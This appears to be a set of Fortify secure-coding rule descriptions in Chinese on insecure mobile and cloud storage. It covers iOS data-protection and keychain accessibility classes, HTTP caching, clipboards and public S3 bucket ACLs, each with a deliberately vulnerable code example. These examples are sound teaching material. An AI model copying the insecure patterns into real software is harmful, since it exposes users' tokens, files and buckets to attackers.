HTTP(S) 回應可能包含敏感資料，如階段作業 Cookie 和 API 權杖。 基於效能原因，URL 載入系統將快取所有 HTTP(S) 回應，在不加密的情況下將其儲存在不安全的共用儲存區中。

範例 1： 下列程式碼在共用儲存空間中安裝 HTTP(S) 回應快取：

    protected void onCreate(Bundle savedInstanceState) {
       ...

       try {
           File httpCacheDir = new File(context.getExternalCacheDir(), "http");
           long httpCacheSize = 10 * 1024 * 1024; // 10 MiB
           HttpResponseCache.install(httpCacheDir, httpCacheSize);
       } catch (IOException e) {
           Log.i(TAG, "HTTP response cache installation failed:" + e);
       }
    }

    protected void onStop() {
       ...

       HttpResponseCache cache = HttpResponseCache.getInstalled();
       if (cache != null) {
           cache.flush();
       }
   }

HTTP(S) 回應可能包含敏感資料，如階段作業 Cookie 和 API 權杖。基於效能原因，URL 載入系統將快取所有 HTTP(S) 回應，在不加密的情況下將其儲存在 {app ID}/Library/Caches/com.mycompany.myapp/Cache.db* 檔案中。
開發人員可能認為透過將 URLCache 類別的 diskCapacity 或 memoryCapacity 屬性設定為 0，可有效地停用 HTTP(S) 回應快取系統。但 NSURLCache 說明文件指出，僅當裝置的記憶體或裝置空間均不足時，磁碟上和記憶體內的快取才會被截斷成配置的大小。系統應該使用這兩項設定來釋放系統資源並提高效能，而非將其作為安全性控制。

資料保護 API 設計為允許應用程式宣告何時可以存取金鑰鏈中的項目以及檔案系統上儲存的檔案。這適用於大多數的檔案和資料庫 API，包括 NSFileManager、CoreData、NSData 和 SQLite。開發人員可以藉由將四種保護類別之一指定給某個指定資源，指示基礎檔案系統使用衍生自裝置 UID 和使用者密碼兩者的金鑰，或是使用完全以裝置 UID 為基礎的金鑰，對該資源進行加密 (以及何時自動對其進行解密)。

資料保護類別針對 NSFileManager 定義，而常數則應該被指派為與 NSFileManager 執行個體相關聯之 NSDictionary 中的 NSFileProtectionKey 金鑰值，以及可以透過使用 NSFileManager 函數 (包括 setAttributes:ofItemAtPath:error:、attributesOfItemAtPath:error: 和 createFileAtPath:contents:attributes:) 建立檔案或修改其資料保護類別。此外，相對應的資料保護常數會針對 NSData 物件定義為 NSDataWritingOptions，以便可以做為 options 引數傳遞到 NSData 函數 writeToURL:options:error: 和 writeToFile:options:error:。NSFileManager 和 NSData 的各種資料保護類別常數定義如下所示：

-NSFileProtectionComplete, NSDataWritingFileProtectionComplete:
資源會以加密格式儲存在磁碟，當裝置處於鎖定狀態或者正在開機時，將無法進行讀取或寫入。
可用於 iOS 4.0 及更新版本。
-NSFileProtectionCompleteUnlessOpen, NSDataWritingFileProtectionCompleteUnlessOpen:
資源會以加密格式儲存在磁碟。當裝置處於鎖定狀態時，可以建立資源，但是一旦關閉資源，就無法再次開啟，直到裝置解除鎖定。如果在解除鎖定時開啟了資源，則可以如常繼續存取資源，即使使用者鎖定了裝置也無妨。
可用於 iOS 5.0 及更新版本。
-NSFileProtectionCompleteUntilFirstUserAuthentication, NSDataWritingFileProtectionCompleteUntilFirstUserAuthentication:
資源會以加密格式儲存在磁碟，只有在裝置開機之後，才能存取資源。在使用者首次解除鎖定裝置之後，您的應用程式可以存取資源，即使使用者之後鎖定了裝置，還是可以繼續存取。
可用於 iOS 5.0 及更新版本。
-NSFileProtectionNone, NSDataWritingFileProtectionNone:
資源沒有與其相關聯的特殊保護。任何時候都可以讀取或寫入資源。
可用於 iOS 4.0 及更新版本。

所以，雖然以 NSFileProtectionCompleteUnlessOpen 或 NSFileProtectionCompleteUntilFirstUserAuthentication 標記檔案將會使用衍生自使用者密碼和裝置 UID 的金鑰為其加密，但是在某些情況下資料還是保持可存取的狀態。因此，使用 NSFileProtectionCompleteUnlessOpen 或 NSFileProtectionCompleteUntilFirstUserAuthentication 時應該仔細進行檢閱，以確定是否保證提供進一步的 NSFileProtectionComplete 保護。

範例 1：在以下範例中，只有在使用者開啟裝置並首次提供密碼後 (直到下次重新開機)，所指定的檔案才受到保護：

...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSDictionary *protection = [NSDictionary dictionaryWithObject:NSFileProtectionCompleteUntilFirstUserAuthentication forKey:NSFileProtectionKey];
...
[[NSFileManager defaultManager] setAttributes:protection ofItemAtPath:filepath error:nil];
...
BOOL ok = [testToWrite writeToFile:filepath atomically:YES encoding:NSUnicodeStringEncoding error:&err];
...

範例 2：在以下範例中，只有在使用者開啟裝置並首次提供密碼後 (直到下次重新開機)，所指定的資料才受到保護：

...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSData *textData = [textToWrite dataUsingEncoding:NSUnicodeStingEncoding];
...
BOOL ok = [textData writeToFile:filepath options:NSDataWritingFileProtectionCompleteUntilFirstUserAuthentication error:&err];
...

金鑰鏈可存取性常數設計為允許應用程式藉此宣告何時可以存取金鑰鏈中的項目。藉由將其中一種可存取性常數指定給指定金鑰鏈項目，開發人員可以指示基礎檔案系統使用衍生自裝置 UID 和使用者密碼的金鑰，或是使用完全以裝置 UID 為基礎的金鑰，對該項目進行加密 (以及何時自動對其進行解密)。

這意味著金鑰鏈可存取性常數應指定為金鑰鏈屬性字典中 kSecAttrAccessible 金鑰的值。各個金鑰鏈可存取性常數的定義如下所示：

-kSecAttrAccessibleAfterFirstUnlock:
重新啟動後，無法存取金鑰鏈項目中的資料，直到使用者進行一次裝置解除鎖定。
首次解除鎖定後，資料會保持可存取狀態，直到下次重新啟動。對於背景應用程式需要存取的項目，建議這樣做。使用加密的備份時，具有此屬性的項目會移轉至新裝置。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
重新啟動後，無法存取金鑰鏈項目中的資料，直到使用者進行一次裝置解除鎖定。
首次解除鎖定後，資料會保持可存取狀態，直到下次重新啟動。對於背景應用程式需要存取的項目，建議這樣做。具有此屬性的項目不會移轉至新裝置。因此，從不同裝置的備份還原後，不會顯示這些項目。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleAlways:
不論裝置是否已鎖定，始終可以存取金鑰鏈項目中的資料。
如果使用應用程式，則不建議這樣做。使用加密的備份時，具有此屬性的項目會移轉至新裝置。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
金鑰鏈中的資料僅在裝置解除鎖定時才可存取。僅當裝置設定有密碼時才可使用。
對於只需在應用程式於前景執行時可供存取的項目，建議這樣做。具有此屬性的項目絕不會移轉至新裝置。備份還原至新裝置後，這些項目會遺失。對於未設定密碼的裝置，沒有任何項目可儲存在此類別中。停用裝置密碼會導致此類別中的所有項目遭到刪除。
可用於 iOS 8.0 及更新版本。

-kSecAttrAccessibleAlwaysThisDeviceOnly:
不論裝置是否已鎖定，始終可以存取金鑰鏈項目中的資料。
如果使用應用程式，則不建議這樣做。具有此屬性的項目不會移轉至新裝置。因此，從不同裝置的備份還原後，不會顯示這些項目。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleWhenUnlocked:
金鑰鏈中的資料僅當使用者解除鎖定裝置時才可存取。
對於只需在應用程式於前景執行時可供存取的項目，建議這樣做。使用加密的備份時，具有此屬性的項目會移轉至新裝置。
這是在未明確設定可存取性常數時新增的金鑰鏈項目的預設值。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
金鑰鏈中的資料僅當使用者解除鎖定裝置時才可存取。
對於只需在應用程式於前景執行時可供存取的項目，建議這樣做。具有此屬性的項目不會移轉至新裝置。因此，從不同裝置的備份還原後，不會顯示這些項目。
可用於 iOS 4.0 及更新版本。

所以，雖然以 kSecAttrAccessibleAfterFirstUnlock 標記金鑰鏈項目將會使用衍生自使用者密碼和裝置 UID 的金鑰進行加密，但是在某些情況下資料仍然保持可存取狀態。因此，使用 kSecAttrAccessibleAfterFirstUnlock 時應該仔細進行檢閱，確定是否保證提供進一步的保護。

範例 1：在以下範例中，只有在使用者開啟裝置電源並首次提供密碼後 (直到下次重新開機)，所指定的金鑰鏈項目才受到保護：

...
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

    // Configure KeyChain Item
    [dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
    [dict setObject:token forKey:(__bridge id)kSecValueData];
    ...
    [dict setObject:(__bridge id)kSecAttrAccessibleAfterFirstUnlock forKey:(__bridge id) kSecAttrAccessible];

    OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...

資料保護 API 設計為允許應用程式宣告何時可以存取金鑰鏈中的項目以及檔案系統上儲存的檔案。這適用於大多數的檔案和資料庫 API，包括 NSFileManager、CoreData、NSData 和 SQLite。開發人員可以藉由將四種保護類別之一指定給某個指定資源，指示基礎檔案系統使用衍生自裝置 UID 和使用者密碼兩者的金鑰，或是使用完全以裝置 UID 為基礎的金鑰，對該資源進行加密 (以及何時自動對其進行解密)。

資料保護類別針對 NSFileManager 定義，而常數則應該被指派為與 NSFileManager 執行個體相關聯之 NSDictionary 中的 NSFileProtectionKey 金鑰值，以及可以透過使用 NSFileManager 函數 (包括 setAttributes:ofItemAtPath:error:、attributesOfItemAtPath:error: 和 createFileAtPath:contents:attributes:) 建立檔案或修改其資料保護類別。此外，相對應的資料保護常數會針對 NSData 物件定義為 NSDataWritingOptions，以便可以做為 options 引數傳遞到 NSData 函數 writeToURL:options:error: 和 writeToFile:options:error:。NSFileManager 和 NSData 的各種資料保護類別常數定義如下所示：

-NSFileProtectionComplete, NSDataWritingFileProtectionComplete:
資源會以加密格式儲存在磁碟，當裝置處於鎖定狀態或者正在開機時，將無法進行讀取或寫入。
可用於 iOS 4.0 及更新版本。
-NSFileProtectionCompleteUnlessOpen, NSDataWritingFileProtectionCompleteUnlessOpen:
資源會以加密格式儲存在磁碟。當裝置處於鎖定狀態時，可以建立資源，但是一旦關閉資源，就無法再次開啟，直到裝置解除鎖定。如果在解除鎖定時開啟了資源，則可以如常繼續存取資源，即使使用者鎖定了裝置也無妨。
可用於 iOS 5.0 及更新版本。
-NSFileProtectionCompleteUntilFirstUserAuthentication, NSDataWritingFileProtectionCompleteUntilFirstUserAuthentication:
資源會以加密格式儲存在磁碟，只有在裝置開機之後，才能存取資源。在使用者首次解除鎖定裝置之後，您的應用程式可以存取資源，即使使用者之後鎖定了裝置，還是可以繼續存取。
可用於 iOS 5.0 及更新版本。
-NSFileProtectionNone, NSDataWritingFileProtectionNone:
資源沒有與其相關聯的特殊保護。任何時候都可以讀取或寫入資源。
可用於 iOS 4.0 及更新版本。

即使 iOS 裝置上的所有檔案 (包括未明確指派有資料保護類別的檔案) 都以加密格式儲存，指定 NSFileProtectionNone 也會導致使用完全以裝置 UID 為基礎的衍生金鑰進行加密。如此一來，在裝置開機的任何時候 (包括以密碼鎖定時或正在開機時)，此類檔案都會處於可存取的狀態。因此，使用 NSFileProtectionNone 時應該仔細進行檢閱，以確定是否保證使用較嚴格的資料保護類別提供進一步的保護。

範例 1：在以下範例中，指定的檔案未受保護 (在裝置開機的任何時候均可存取)：

...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSDictionary *protection = [NSDictionary dictionaryWithObject:NSFileProtectionNone forKey:NSFileProtectionKey];
...
[[NSFileManager defaultManager] setAttributes:protection ofItemAtPath:filepath error:nil];
...
BOOL ok = [testToWrite writeToFile:filepath atomically:YES encoding:NSUnicodeStringEncoding error:&err];
...

範例 2：在以下範例中，指定的資料未受保護 (在裝置開機的任何時候均可存取)：

...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSData *textData = [textToWrite dataUsingEncoding:NSUnicodeStingEncoding];
...
BOOL ok = [textData writeToFile:filepath options:NSDataWritingFileProtectionNone error:&err];
...

金鑰鏈可存取性常數設計為允許應用程式藉此宣告何時可以存取金鑰鏈中的項目。藉由將其中一種可存取性常數指定給某個指定金鑰鏈項目，開發人員可以指示基礎檔案系統使用衍生自裝置 UID 和使用者密碼的金鑰，或是使用完全以裝置 UID 為基礎的金鑰，對該項目進行加密 (以及何時自動對其進行解密)。

這意味著金鑰鏈可存取性常數應指定為金鑰鏈屬性字典中 kSecAttrAccessible 金鑰的值。各個金鑰鏈可存取性常數的定義如下所示：

-kSecAttrAccessibleAfterFirstUnlock:
重新啟動後，無法存取金鑰鏈項目中的資料，直到使用者進行一次裝置解除鎖定。
首次解除鎖定後，資料會保持可存取狀態，直到下次重新啟動。對於背景應用程式需要存取的項目，建議這樣做。使用加密的備份時，具有此屬性的項目會移轉至新裝置。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
重新啟動後，無法存取金鑰鏈項目中的資料，直到使用者進行一次裝置解除鎖定。
首次解除鎖定後，資料會保持可存取狀態，直到下次重新啟動。對於背景應用程式需要存取的項目，建議這樣做。具有此屬性的項目不會移轉至新裝置。因此，從不同裝置的備份還原後，不會顯示這些項目。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleAlways:
不論裝置是否已鎖定，始終可以存取金鑰鏈項目中的資料。
如果使用應用程式，則不建議這樣做。使用加密的備份時，具有此屬性的項目會移轉至新裝置。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
金鑰鏈中的資料僅在裝置解除鎖定時才可存取。僅當裝置設定有密碼時才可使用。
對於只需在應用程式於前景執行時可供存取的項目，建議這樣做。具有此屬性的項目絕不會移轉至新裝置。備份還原至新裝置後，這些項目會遺失。對於未設定密碼的裝置，沒有任何項目可儲存在此類別中。停用裝置密碼會導致此類別中的所有項目遭到刪除。
可用於 iOS 8.0 及更新版本。

-kSecAttrAccessibleAlwaysThisDeviceOnly:
不論裝置是否已鎖定，始終可以存取金鑰鏈項目中的資料。
如果使用應用程式，則不建議這樣做。具有此屬性的項目不會移轉至新裝置。因此，從不同裝置的備份還原後，不會顯示這些項目。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleWhenUnlocked:
金鑰鏈中的資料僅當使用者解除鎖定裝置時才可存取。
對於只需在應用程式於前景執行時可供存取的項目，建議這樣做。使用加密的備份時，具有此屬性的項目會移轉至新裝置。
這是在未明確設定可存取性常數時新增的金鑰鏈項目的預設值。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
金鑰鏈中的資料僅當使用者解除鎖定裝置時才可存取。
對於只需在應用程式於前景執行時可供存取的項目，建議這樣做。具有此屬性的項目不會移轉至新裝置。因此，從不同裝置的備份還原後，不會顯示這些項目。
可用於 iOS 4.0 及更新版本。

即使 iOS 裝置上的所有檔案 (包括未明確指派有金鑰鏈可存取性常數的檔案) 都以加密格式儲存，指定 kSecAttrAccessibleAlways 也會導致使用完全以裝置 UID 為基礎的衍生金鑰進行加密。如此一來，在裝置開機的任何時候 (包括以密碼鎖定時或正在開機時)，此類檔案都會處於可存取的狀態。因此，使用 kSecAttrAccessibleAlways 時應該仔細進行檢閱，確定是否能保證具有較嚴格金鑰鏈可存取性層級的進一步保護。

範例 1：在以下範例中，指定的檔案未受保護 (只要裝置開機便可存取)：

...
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

    // Configure KeyChain Item
    [dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
    [dict setObject:token forKey:(__bridge id)kSecValueData];
    ...
    [dict setObject:(__bridge id)kSecAttrAccessibleAlways forKey:(__bridge id) kSecAttrAccessible];

    OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...

已取得 Root 權限之裝置上或未加密備份中的其他應用程式可存取應用程式檔案。由於使用者可能會決定破解其裝置或執行未加密的備份，因此最佳作法是加密包含敏感資料的資料庫。

範例 1：下列程式碼會建立未加密 Realm 資料庫的連線：

    Realm realm = Realm.getDefaultInstance();

儲存至 iOS 相簿的檔案是人人都可以讀取的，而且可以透過裝置上的任何應用程式存取。這可能讓攻擊者盜取敏感相片，例如用於行動支票存款的支票相片。

範例 1：以下程式碼使用 UIImageWriteToSavedPhotosAlbum 將影像儲存到相簿：

- (void) imagePickerController:(UIImagePickerController *)picker didFinishPickingMediaWithInfo:(NSDictionary *)info
{
	// Access the uncropped image from info dictionary
	UIImage *image = [info objectForKey:UIImagePickerControllerOriginalImage];

  // Save image
  UIImageWriteToSavedPhotosAlbum(image, self, @selector(image:didFinishSavingWithError:contextInfo:), nil);

	...
}

金鑰鏈可存取性層級定義金鑰鏈項目何時解密並可供應用程式使用。可能的可存取性層級包括：

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
重新啟動後，無法存取金鑰鏈項目中的資料，直到使用者進行一次裝置解除鎖定。
首次解除鎖定後，資料會保持可存取狀態，直到下次重新啟動。對於背景應用程式需要存取的項目，建議這樣做。具有此屬性的項目不會移轉至新裝置。因此，從不同裝置的備份還原後，不會顯示這些項目。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleAlways:
不論裝置是否已鎖定，始終可以存取金鑰鏈項目中的資料。
如果使用應用程式，則不建議這樣做。使用加密的備份時，具有此屬性的項目會移轉至新裝置。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
金鑰鏈中的資料僅在裝置解除鎖定時才可存取。僅當裝置設定有密碼時才可使用。
對於只需在應用程式於前景執行時可供存取的項目，建議這樣做。具有此屬性的項目絕不會移轉至新裝置。備份還原至新裝置後，這些項目會遺失。對於未設定密碼的裝置，沒有任何項目可儲存在此類別中。停用裝置密碼會導致此類別中的所有項目遭到刪除。
可用於 iOS 8.0 及更新版本。

-kSecAttrAccessibleAlwaysThisDeviceOnly:
不論裝置是否已鎖定，始終可以存取金鑰鏈項目中的資料。
如果使用應用程式，則不建議這樣做。具有此屬性的項目不會移轉至新裝置。因此，從不同裝置的備份還原後，不會顯示這些項目。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleWhenUnlocked:
金鑰鏈中的資料僅當使用者解除鎖定裝置時才可存取。
對於只需在應用程式於前景執行時可供存取的項目，建議這樣做。使用加密的備份時，具有此屬性的項目會移轉至新裝置。
這是在未明確設定可存取性常數時新增的金鑰鏈項目的預設值。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
金鑰鏈中的資料僅當使用者解除鎖定裝置時才可存取。
對於只需在應用程式於前景執行時可供存取的項目，建議這樣做。具有此屬性的項目不會移轉至新裝置。因此，從不同裝置的備份還原後，不會顯示這些項目。
可用於 iOS 4.0 及更新版本。

如果金鑰鏈項目使用相當安全的策略 (例如 kSecAttrAccessibleWhenUnlocked) 進行儲存，如果您的裝置失竊且已設定密碼，竊賊必須先解除鎖定裝置，才能解密金鑰鏈項目。無法輸入正確的密碼將阻止竊賊解密金鑰鏈項目。但是，如果未設定密碼，攻擊者只需滑動手指解除鎖定裝置並讓金鑰鏈解密其項目即可。因此，未在裝置中強制使用密碼可能會削弱金鑰鏈加密機制。

範例 1：在以下範例中，金鑰鏈項目始終受到保護，開啟裝置電源和解除鎖定時除外，但也可以在裝置未設定密碼時使用：

...
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

    // Configure KeyChain Item
    [dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
    [dict setObject:token forKey:(__bridge id)kSecValueData];
    ...
    [dict setObject:(__bridge id)kSecAttrAccessibleWhenUnlockedThisDeviceOnly forKey:(__bridge id) kSecAttrAccessible];

    OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...

具名剪貼板使開發人員能與應用程式的其他部分或與具有相同團隊 ID 的其他應用程式共用資料。將具名剪貼板設定為持續性的功能已捨棄，這項功能可能會導致敏感資料暴露。當剪貼板被標記為持續性時，儲存在剪貼板中的資料能以未加密的方式儲存到本機儲存空間，並且在應用程式和裝置重新啟動時持續存在。
範例 1：在以下範例中，建立了具名剪貼板，並透過叫用 setPersistent:YES 將其設定為持續性。

  ...
  UIPasteboard *pasteboard = [UIPasteboard pasteboardWithName:@"myPasteboard" create:YES];
  [pasteboard setPersistent:YES];
  ...

若授予對儲存貯體或物件的完全匿名存取權，會允許攻擊者讀取內容或將內容替換為惡意內容。

範例 1：下列程式碼會設定 Access Control Policy，從而授予對 foo 儲存貯體的完全匿名存取權。

    GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
    GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
    List<Grant> grants = getAclRes.grants();

    Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
    Permission fc_permission = Permission.fromValue("FullControl");
    Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
    grants.add(grant);

    AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();

若授予匿名讀取儲存貯體或物件 Access Control Policy (ACP) 的權限，將會允許攻擊者探索可擷取或覆寫的物件。

範例 1：下列程式碼會設定 Access Control Policy，從而授予對 foo 儲存貯體的匿名讀取 ACP 存取權。

    GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
    GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
    List<Grant> grants = getAclRes.grants();

    Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
    Permission fc_permission = Permission.fromValue("READ_ACP");
    Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
    grants.add(grant);

    AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();

若授予對儲存貯體或物件的匿名讀取存取權，將會允許攻擊者讀取其內容。

範例 1：下列程式碼會設定 Access Control Policy，從而授予對 foo 儲存貯體的匿名讀取存取權。

    GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
    GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
    List<Grant> grants = getAclRes.grants();

    Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
    Permission fc_permission = Permission.fromValue("Read");
    Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
    grants.add(grant);

    AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();

若授予匿名寫入儲存貯體或物件 Access Control Policy (ACP) 的權限，將會允許攻擊者在該儲存貯體中讀取或寫入任何內容。

範例 1：下列程式碼會設定 Access Control Policy，從而授予對 foo 儲存貯體的匿名寫入 ACP 存取權。

    GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
    GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
    List<Grant> grants = getAclRes.grants();

    Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
    Permission fc_permission = Permission.fromValue("WRITE_ACP");
    Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
    grants.add(grant);

    AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();

若授予對儲存貯體或物件的匿名寫入存取權，將會允許攻擊者替換內容或上傳惡意內容。

範例 1：下列程式碼會設定 Access Control Policy，從而授予對 foo 儲存貯體的匿名寫入存取權。

    GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
    GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
    List<Grant> grants = getAclRes.grants();

    Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
    Permission fc_permission = Permission.fromValue("Write");
    Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
    grants.add(grant);

    AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();

所識別出的函數將資料寫入一般剪貼板，而不會將其排除在透過「接力」進行的跨裝置通用剪貼板同步之外。

寫入一般剪貼板的內容會在裝置重新啟動、應用程式解除安裝和應用程式還原時持續儲存。在啟用「通用剪貼板」功能的情況下使用一般剪貼板時，若另一台裝置上執行的惡意應用程式發動 Clipboard Hijacking攻擊，會增加剪貼板資料被盜或修改的風險。

再者，由於「通用剪貼板」與執行 iOS 10 及更高版本或 macOS Sierra 及更高版本的裝置相容，因此執行較舊作業系統的相容裝置存在更高的風險，因為這些舊版作業系統不包含用於保護未經授權的剪貼板存取的最新隱私與安全更新。

範例 1：在以下程式碼中，資料會被寫入設定 items 屬性的一般剪貼板，依預設，會透過「通用剪貼板」在使用者裝置之間共用剪貼板內容。

...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
NSDictionary *items = @{
    UTTypePlainText : sensitiveDataString,
    UTTypePNG : [UIImage imageWithData:medicalImageData]
};
[pasteboard setItems: @[items]];
...

範例 2：在以下程式碼中，資料透過呼叫 setObjects:localOnly:expirationDate: 方法而寫入一般剪貼板，其中透過將 localOnly 參數設定為 NO 明確啟用了「通用剪貼板」行為。

...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
[pasteboard setObjects:@[sensitiveDataString, [UIImage imageWithData:medicalImageData]] 
            localOnly:NO 
            expirationDate:[NSDate distantFuture]];
...

將資料儲存至金鑰鏈時，需要設定定義何時可以存取項目的可存取性層級。可能的可存取性層級包括：

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
重新啟動後，無法存取金鑰鏈項目中的資料，直到使用者進行一次裝置解除鎖定。
首次解除鎖定後，資料會保持可存取狀態，直到下次重新啟動。對於背景應用程式需要存取的項目，建議這樣做。具有此屬性的項目不會移轉至新裝置。因此，從不同裝置的備份還原後，不會顯示這些項目。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleAlways:
不論裝置是否已鎖定，始終可以存取金鑰鏈項目中的資料。
如果使用應用程式，則不建議這樣做。使用加密的備份時，具有此屬性的項目會移轉至新裝置。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
金鑰鏈中的資料僅在裝置解除鎖定時才可存取。僅當裝置設定有密碼時才可使用。
對於只需在應用程式於前景執行時可供存取的項目，建議這樣做。具有此屬性的項目絕不會移轉至新裝置。備份還原至新裝置後，這些項目會遺失。對於未設定密碼的裝置，沒有任何項目可儲存在此類別中。停用裝置密碼會導致此類別中的所有項目遭到刪除。
可用於 iOS 8.0 及更新版本。

-kSecAttrAccessibleAlwaysThisDeviceOnly:
不論裝置是否已鎖定，始終可以存取金鑰鏈項目中的資料。
如果使用應用程式，則不建議這樣做。具有此屬性的項目不會移轉至新裝置。因此，從不同裝置的備份還原後，不會顯示這些項目。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleWhenUnlocked:
金鑰鏈中的資料僅當使用者解除鎖定裝置時才可存取。
對於只需在應用程式於前景執行時可供存取的項目，建議這樣做。使用加密的備份時，具有此屬性的項目會移轉至新裝置。
這是在未明確設定可存取性常數時新增的金鑰鏈項目的預設值。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
金鑰鏈中的資料僅當使用者解除鎖定裝置時才可存取。
對於只需在應用程式於前景執行時可供存取的項目，建議這樣做。具有此屬性的項目不會移轉至新裝置。因此，從不同裝置的備份還原後，不會顯示這些項目。
可用於 iOS 4.0 及更新版本。

首次引入金鑰鏈保護時，預設值為 kSecAttrAccessibleAlways，這產生了一個安全性問題，因為可存取或竊取您裝置的人將能夠讀取金鑰鏈的內容。目前，預設屬性為 kSecAttrAccessibleWhenUnlocked，這是一個具有一定限制性的預設值。不過，Apple 公開說明文件對於應設定的預設屬性有異議，因此您應在所有金鑰鏈項目上明確設定此屬性以策万全。

範例 1：在以下範例中，會在未明確指定可存取性層級的情況下儲存金鑰鏈項目，這可能導致不同 iOS 版本上的行為不同。

...
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

    // Configure Keychain Item
    [dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
    [dict setObject:token forKey:(__bridge id)kSecValueData];
    ...

    OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...

開發作業一般會為了除錯或測試目而增加一些「後門」程式碼，這些程式碼不會隨應用程式一起提供或部署。當這類除錯程式碼意外地留在應用程式中時，會導致應用程式開放在未預期的互動模式。這些後門入口點很容易造成安全問題，因為在設計或者測試期間，並沒有將它們考慮在內，並且不會出現在應用程式設計中的操作環境中。

遭遺忘的除錯程式碼中最常見的示例，是出現在 Web 應用程式中的 main() 方法。雖然這在軟體產品的開發過程中是完全可接受的，但是屬於 J2EE 應用程式那部分的類別不應該定義 main()。

在下列情況下，應用程式可能很容易受到 JavaScript 劫持的攻擊：1) 使用 JavaScript 物件做為資料傳輸格式，2) 處理機密資料。由於 JavaScript 劫持弱點不會做為編碼錯誤的直接結果出現，因此 Fortify Secure Coding Rulepacks 會透過識別在 HTTP 回應中可能產生 JavaScript 的程式碼，喚起人們對潛在 JavaScript 劫持弱點的注意。

